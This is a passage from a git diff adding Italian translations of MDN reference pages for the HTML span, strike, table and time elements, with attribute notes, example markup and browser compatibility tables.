+   <td>Qualunque</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia DOM</th>
+   <td>{{domxref("HTMLSpanElement")}} (prima di HTML 5, l'interfaccia era {{domxref("HTMLElement")}})</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include solo gli <a href="https://developer.mozilla.org/it/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Esempio_1">Esempio 1</h2>
+
+<pre class="brush:html; gutter:false">&lt;p&gt;&lt;span&gt;Some text&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p><span>Some text</span></p>
+
+<h2 id="Esempio_2">Esempio 2</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;gutter:false">&lt;li&gt;&lt;span&gt;
+    &lt;a href="portfolio.html" target="_blank"&gt;Guarda il mio portfolio&lt;/a&gt;
+&lt;/span&gt;&lt;/li&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li span {
+  background: gold;
+ }
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>L'interfaccia DOM è ora {{domxref("HTMLSpanElement")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.span")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("div")}} element</li>
+</ul>
diff --git a/files/it/web/html/element/strike/index.html b/files/it/web/html/element/strike/index.html
new file mode 100644
index 0000000000..723254e331
--- /dev/null
+++ b/files/it/web/html/element/strike/index.html
@@ -0,0 +1,51 @@
+---
+title: <strike>
+slug: Web/HTML/Element/strike
+tags:
+  - Elemento
+  - HTML
+  - Obsoleto
+  - Riferimento
+  - Web
+translation_of: Web/HTML/Element/strike
+---
+<div>{{ Obsolete_header() }}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<em>Elemento HTML Strikethrough </em> (<code>&lt;strike&gt;</code>) disegna il testo con uno "strikethrough", cioè una linea a metà altezza.</p>
+
+<div class="note"><strong>Nota d'uso: </strong>Come tutti gli elementi di pura presentazione, {{ HTMLElement("strike") }} è deprecato in HTML 4 e XHTML 1 ed è obsoleto in HTML5. Se semanticamente appropriato, ad es. se rappresenta contenuto cancellato, si usi al suo posto l'elemento {{ HTMLElement("del") }} ; in tutti gli altri casi, si usi un elemento  {{ HTMLElement("span") }} con l'attributo style contenente la proprietà  <a href="https://developer.mozilla.org/it/docs/Web/CSS" title="CSS">CSS</a> {{ cssxref("text-decoration") }} impostata a <code>line-through</code>.</div>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento non ha altri attributi oltre agli <a href="https://developer.mozilla.org/it/docs/Web/HTML/Global_attributes" rel="internal" title="HTML/global attributes">attributi globali</a>, comuni a tutti gli elementi.</p>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia <a href="https://developer.mozilla.org/it/docs/Web/API/HTMLElement">HTMLElement</a>.</p>
+
+<div class="note">
+<p><strong>Nota di implementazione: </strong>fino alla Gecko 1.9.2 inclusa, Firefox implementa per questo elemento l'interfaccia  {{domxref('HTMLSpanElement')}} .</p>
+</div>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:xml">&lt;strike&gt;Today's Special: Salmon&lt;/strike&gt; NO LONGER AVAILABLE&lt;br /&gt;
+&lt;span style="text-decoration:line-through;"&gt;Today's Special: Salmon&lt;/span&gt; SOLD OUT
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p><s>Today's Special: Salmon</s> NO LONGER AVAILABLE<br>
+ <s style="text-decoration: line-through;">Today's Special: Salmon</s> SOLD OUT</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>L'elemento {{ HTMLElement("s") }} , alter ego dell'elemento {{ HTMLElement("strike") }} e, come questo, obsoleto.</li>
+ <li>L'elemento {{ HTMLElement("del") }} da utilizzare in sua vece se il dato è stato <em>cancellato</em>.</li>
+ <li>La proprietà CSS {{ cssxref("text-decoration") }} da utilizzare per ottenere il medesimo risultato in visualizzazione ottenibile con l'elemento {{ HTMLElement("strike") }} .</li>
+</ul>
+
+<div>{{ HTMLRef }}</div>
diff --git a/files/it/web/html/element/table/index.html b/files/it/web/html/element/table/index.html
new file mode 100644
index 0000000000..cbf9a66df3
--- /dev/null
+++ b/files/it/web/html/element/table/index.html
@@ -0,0 +1,437 @@
+---
+title: <table>
+slug: Web/HTML/Element/table
+tags:
+  - Elemento
+  - HTML
+  - Reference
+  - Tabella
+  - Tabelle
+  - Web
+translation_of: Web/HTML/Element/table
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;table&gt;</code> rappresenta una Tabella.</p>
+
+<div class="note"><strong>Nota: </strong>Prima della nascita del  <a href="/en-US/docs/CSS" title="CSS">CSS</a>, spesso gli elementi HTML {{HTMLElement("table")}} venivano usati per impaginare un documento. Questa pratica è stata scoraggiata a partire da HTML 4, e l'elemento {{HTMLElement("table")}} <strong>non dovrebbe</strong> essere usato per gestire il layout.</div>
+
+<h2 id="Utilizzo">Utilizzo</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content categories">Categoria del contenuto</a></td>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a></td>
+  </tr>
+  <tr>
+   <td>Contenuto permesso</td>
+   <td>
+    <div class="content-models">
+    <div id="table-mdls">
+    <p>In ordine:</p>
+
+    <ul>
+     <li>un elemento {{HTMLElement("caption")}} <em>(opzionale)</em>;</li>
+     <li>zero o più elementi {{HTMLElement("colgroup")}};</li>
+     <li>un elemento {{HTMLElement("thead")}} <em>(opzionale)</em>;</li>
+     <li>una delle seguenti alternative:
+      <ul>
+       <li>uno o più elementi {{HTMLElement("tr")}};</li>
+       <li>zero o più elementi {{HTMLElement("tbody")}};</li>
+      </ul>
+     </li>
+     <li>un elemento {{HTMLElement("tfoot")}} <em>(opzionale)</em>.</li>
+    </ul>
+    </div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td>Omissione dei tag</td>
+   <td>Nessuna, sono necessari sia il tag di apertura che di chiusura.</td>
+  </tr>
+  <tr>
+   <td>Elementi genitore permessi</td>
+   <td>Qualsiasi elemento che accetti contenuto di flusso.</td>
+  </tr>
+  <tr>
+   <td>Normativa</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-table-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-table-element">HTML5, sezione 4.9.1</a> (<a class="external" href="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-TABLE" title="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-TABLE">HTML4.01, sezione 11.2.1</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta gli<span style="line-height: 21px;"> </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">. </span></p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo indica come la tabella deve essere allineata rispetto al documento che la contiene. Può assumere uno dei seguenti valori:
+ <ul>
+  <li><code>left</code>, indica che la tabella deve essere mostrata sulla sinistra del documento;</li>
+  <li><code>center</code>, indica che la tabella deve essere mostrata al centro del documento;</li>
+  <li><code>right</code>, indica che la tabella seve essere mostrata sulla sinistra del documento.</li>
+ </ul>
+
+ <div class="note"><strong>Nota: </strong>
+
+ <ul>
+  <li><strong>Non usare questo attributo</strong>, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>align</code>, usare gli attributi <a href="/en-US/docs/CSS" title="CSS">CSS</a> di layout, ad esempio {{cssxref("margin-left")}} e {{cssxref("margin-right")}} con valore <code>auto</code> ( o {{cssxref("margin")}} con valore <code>0 auto</code>) per centre la tabella.</li>
+  <li>Fino alla version 4, Firefox supportava (solo usando la modalità <em>quirks mode) i valori</em> <code>middle</code>, <code>absmiddle</code>, e <code>abscenter</code> come sinonimi di <code>center</code><em>.  </em></li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce il colore di sfondo della tabella e del suo contenuto. È un codice esadecimale di 6 cifre, come definito in <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, preceduto da '#'.  Può anche essere usato uno dei sedici colori predefiniti.
+ <table>
+  <tbody>
+   <tr>
+    <td style="width: 24px; background-color: black;"> </td>
+    <td><span>black</span> = "#000000"</td>
+    <td style="width: 24px; background-color: green;"> </td>
+    <td><span>green</span> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: silver;"> </td>
+    <td><span>silver</span> = "#C0C0C0"</td>
+    <td style="width: 24px; background-color: lime;"> </td>
+    <td><span>lime</span> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: gray;"> </td>
+    <td><span>gray</span> = "#808080"</td>
+    <td style="width: 24px; background-color: olive;"> </td>
+    <td><span>olive</span> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: white;"> </td>
+    <td><span>white</span> = "#FFFFFF"</td>
+    <td style="width: 24px; background-color: yellow;"> </td>
+    <td><span>yellow</span> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: maroon;"> </td>
+    <td><span>maroon</span> = "#800000"</td>
+    <td style="width: 24px; background-color: navy;"> </td>
+    <td><span>navy</span> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: red;"> </td>
+    <td><span>red</span> = "#FF0000"</td>
+    <td style="width: 24px; background-color: blue;"> </td>
+    <td><span>blue</span> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: purple;"> </td>
+    <td><span>purple</span> = "#800080"</td>
+    <td style="width: 24px; background-color: teal;"> </td>
+    <td><span>teal</span> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: fuchsia;"> </td>
+    <td><span>fuchsia</span> = "#FF00FF"</td>
+    <td style="width: 24px; background-color: aqua;"> </td>
+    <td><span>aqua</span> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Nota:</strong> Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>bgcolor</code>, usare la proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo, il cui valore è un numero intero, definisce la dimensione in pixel dello spazio intorno alla tabella. Se impostato a <code>0</code>, implica che l'attributo {{htmlattrxref("frame", "table")}} abbia un valore nullo.</dd>
+ <dd>
+ <div class="note"><strong>Nota: </strong>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>border</code>, usare le proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("border")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}} e {{cssxref("border-style")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce lo spazio tra il contenuto e il bordo, anche se non visibile, delle celle. Se è un valore in pixel, verrà applicato a tutti e quattro i lati; se è un valore percentuale, il contenuto verrà centrato e lo spazio verticale (sopra e sotto) verrà rappresentato da questa percentuale. Lo stesso per lo spazio orizzontale (destra e sinistra).</dd>
+ <dd>
+ <div class="note"><strong>Nota: </strong>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>.  Per ottenere un effetto simile all'attributo <code>cellpadding</code>, usare la proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("border-collapse")}} con valore <code>collapse</code> applicata all'elemento  {{HTMLElement("table")}} e la proprietò {{cssxref("padding")}} all'elemento {{HTMLElement("td")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce lo spazio, in percentuale o in pixel, tra due celle (sia in verticale che in orizzontale), trail bordo superiore della tabella e le celle della prima riga, tra il bordo inferiore della tabella e l'ultima riga, tra il bordo sinistro della tabella e la prima colonna, e tra il bordo destro della tabella e l'ultima colonna.</dd>
+ <dd>
+ <div class="note"><strong>Nota: </strong>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>cellspacing</code>, usare la proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("border-spacing")}}<span style="line-height: 1.5;"> applicata all'elemento {{HTMLElement("table")}}.</span></div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce quale parte del frame che circonda la tabella deve essere mostrata. Può avere i seguenti valori:</dd>
+ <dd>
+ <table style="width: 668px;">
+  <tbody>
+   <tr>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>above</span></code></td>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>below</span></code></td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>hsides</span></code></td>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>vsides</span></code></td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>lhs</span></code></td>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>rhs</span></code></td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>border</span></code></td>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>box</span></code></td>
+   </tr>
+   <tr>
+    <td style="width: 24px; background-color: rgb(224, 224, 224);"> </td>
+    <td><code><span>void</span></code></td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Nota: </strong>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>frame</code>, usare le proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("border-style")}} e {{cssxref("border-width")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("rules")}} {{Deprecated_inline()}}</dt>
+ <dd>Questo attributo definisce come devono essere mostrate le linee nella tabella. Può assumere i seguenti valori:
+ <ul>
+  <li><code><span>none</span></code>, indica che non deve essere mostrata nessuna linea (il valore di default);</li>
+  <li><code>groups</code>, indica che le linee devono essere mostrate solo tra i gruppi di righe (definiti dagli elementi {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} e {{HTMLElement("tfoot")}}) e tra i gruppi di colonne (definiti dagli elementi {{HTMLElement("col")}} e {{HTMLElement("colgroup")}});</li>
+  <li><code><span>rows</span></code>, indica che le linee devono essere mostrate tra le righe ({{HTMLElement("tr")}};</li>
+  <li><code><span>columns</span></code>, indica che le linee devono essere mostrate tra le colonne;</li>
+  <li><code>all</code>, indica che le linee devono essere mostrate sia tra le righe che le colonne.</li>
+ </ul>
+
+ <div class="note"><strong>Nota</strong>:
+
+ <ul>
+  <li>Lo stile delle linee viene definito dal browser e non può essere modificato.</li>
+  <li>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>rules</code>, usare le proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("border")}} sugli eleementi {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("col")}} o {{HTMLElement("colgroup")}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce un testo alternativo che descriva il contenuto della tabella nei brawser che non la possono mostrare. Spesso viene usato per fornire le informazioni anche a presone non vedenti, che visualizzano il documento tramite sintetizzatori vocali.  Se tali informazioni possono essere utili per chiunque, considerare l'utilizzo dell'elemento {{HTMLElement("caption")}}. L'elemento <code>summary</code> non è obbligatorio e può essere omesso se l'elemento {{HTMLElement("caption")}} ne copre il ruolo.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota: </strong>Non usare questo attributo per descrivere la tabella, essendo deprecato, ma uno dei seguenti metodi:</p>
+
+ <ul>
+  <li>Del testo vicino alla tabella (questo è il modo meno semantico).</li>
+  <li>Un elemento {{HTMLElement("caption")}} nella tabella.</li>
+  <li>Un elemento {{HTMLElement("details")}} nell'elemento {{HTMLElement("caption")}} della tabella.</li>
+  <li>Includendo l'elemento {{HTMLElement("table")}} in un elemento {{HTMLElement("figure")}} e aggiungendo del testo che la descriva.</li>
+  <li>Includendo l'elemento {{HTMLElement("table")}} in un elemento {{HTMLElement("figure")}} e aggiundendo del testo che la descriva in un elemento {{HTMLElement("figcaption")}}.</li>
+  <li>Modificando la tabella così che la descrizione non sia più necessaria, ad esempio usando gli elementi {{HTMLElement("th")}} e {{HTMLElement("thead")}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+ <dd>Questo attributo definisce la larghezza della tabella. Può assumere un valore in pixel o in precentuale, che rappresenta la larghezza in percentuale rispetto al suo contenitore.</dd>
+ <dd>
+ <div class="note"><strong>Nota: </strong>Non usare questo attributo, essendo deprecato. Lo stile dell'elemento {{HTMLElement("table")}} dovrebbe essere definito usando il <a href="/en-US/docs/CSS" title="CSS">CSS</a>. Per ottenere un effetto simile all'attributo <code>width</code>, usare la proprietà <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("width")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia <code><a href="/en-US/docs/DOM/HTMLTableElement" title="DOM/HTMLTableElement">HTMLTableElement</a></code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Una_semplice_tabella">Una semplice tabella</h3>
+
+<pre class="brush: html" style="font-size: 12px;">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h3 id="Altri_esempi">Altri esempi</h3>
+
+<pre class="brush: html">&lt;p&gt;Una tabella con un'intestazione&lt;/p&gt;
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Nome&lt;/th&gt;
+    &lt;th&gt;Cognome&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Una tabella con thead, tfoot, e tbody&lt;/p&gt;
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Intestazione 1&lt;/th&gt;
+      &lt;th&gt;Intestazione 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Footer 1&lt;/td&gt;
+      &lt;td&gt;Footer 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Corpo della tabella 1&lt;/td&gt;
+      &lt;td&gt;Corpo della tabella 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Tablella con colgroup&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup span="4" class="columns"&gt;&lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Stati&lt;/th&gt;
+    &lt;th&gt;Capitali&lt;/th&gt;
+    &lt;th&gt;Popolazione&lt;/th&gt;
+    &lt;th&gt;Lingua&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;USA&lt;/td&gt;
+    &lt;td&gt;Washington D.C.&lt;/td&gt;
+    &lt;td&gt;309 milioni&lt;/td&gt;
+    &lt;td&gt;Inglese&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Svezia&lt;/td&gt;
+    &lt;td&gt;Stoccolma&lt;/td&gt;
+    &lt;td&gt;9 milioni&lt;/td&gt;
+    &lt;td&gt;Svedese&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Tabella con colgroup and col&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col class="colonna1"&gt;
+    &lt;col class="colonne2e3" span="2"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Lime&lt;/th&gt;
+    &lt;th&gt;Limone&lt;/th&gt;
+    &lt;th&gt;Arancia&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Verde&lt;/td&gt;
+    &lt;td&gt;Giallo&lt;/td&gt;
+    &lt;td&gt;Arancione&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Tabella con caption&lt;/p&gt;
+&lt;table&gt;
+  &lt;caption&gt;Descrizione&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Dati&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Internet Explorer 9 ha un bug che riguarda l'elemento <span style="line-height: 1.5;"> {{HTMLElement("table")}} e {{cssxref(":hover")}}; vedere </span><a href="/en-US/docs/Web/CSS/:hover#Browser_compatibility" style="line-height: 1.5;">la sezione "Compatibilità con i browser" dell'articolo riguardante <code>:hover</code></a><span style="line-height: 1.5;"> per altri dettagli.</span></p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>Altri elementi HTML riguardanti le tabelle: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+ <li>Proprietà CSS che posso essere particolarmente utili applicate all'elemento {{HTMLElement("table")}}:
+  <ul>
+   <li>​{{cssxref("width")}} per controllare la larghezza della tabella;</li>
+   <li>{{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}} per controllare i bordi delle tabelle, le linee e i frame;</li>
+   <li>{{cssxref("margin")}} e {{cssxref("padding")}} per controllare la disposizione del contenuto delle celle;</li>
+   <li>{{cssxref("text-align")}} e {{cssxref("vertical-align")}} per definire l'allineamento del testo nelle celle.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/time/index.html b/files/it/web/html/element/time/index.html
new file mode 100644
index 0000000000..9b24a8f468
--- /dev/null
+++ b/files/it/web/html/element/time/index.html
@@ -0,0 +1,118 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+translation_of: Web/HTML/Element/time
+---
+<p>L' <strong style="line-height: 1.5;">elemento</strong><span style="line-height: 1.5;"> </span><strong style="line-height: 1.5;">HTML <code>&lt;time&gt;</code> </strong><span style="line-height: 1.5;">rappresenta un orario nell'arco delle 24 ore o una data precisa nel </span><a class="external" href="http://it.wikipedia.org/wiki/Calendario_gregoriano" style="line-height: 1.5; text-decoration: underline;" title="http://en.wikipedia.org/wiki/Gregorian_calendar">Calendario gregoriano</a> <span style="line-height: 1.5;">(con informazioni facoltative su orario e fuso orario).</span></p>
+<p>Questo elemento serve per presentare date e orari in un formato leggibile dal computer. Può essere utile ai motori di ricerca per fornire funzionalità di organizzazione di eventi e calendario. </p>
+<div class="note">
+ <strong>Nota di utilizzo: </strong>Questo elemento non è appropriato per situazioni in cui una data specifica non pò essere calcolata né dovrebbe essere utilizzato per date antecedenti all'inizio del calendario gregoriano (a causa della difficoltà di calcolo per queste date).<br>
+  </div>
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, palpable content.</li>
+ <li><dfn>Permitted content</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a>, but no descendant <code>time</code> elements.</li>
+ <li><dfn>Tag omission</dfn> None; both the starting and ending tags are mandatory.</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLTimeElement")}}</li>
+</ul>
+<h2 id="Attributi">Attributi</h2>
+<p>Come altri elementi HTML, questo elemento supporta gli <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">attributi globali</a>.</p>
+<dl>
+ <dt>
+  {{htmlattrdef("datetime")}}</dt>
+ <dd>
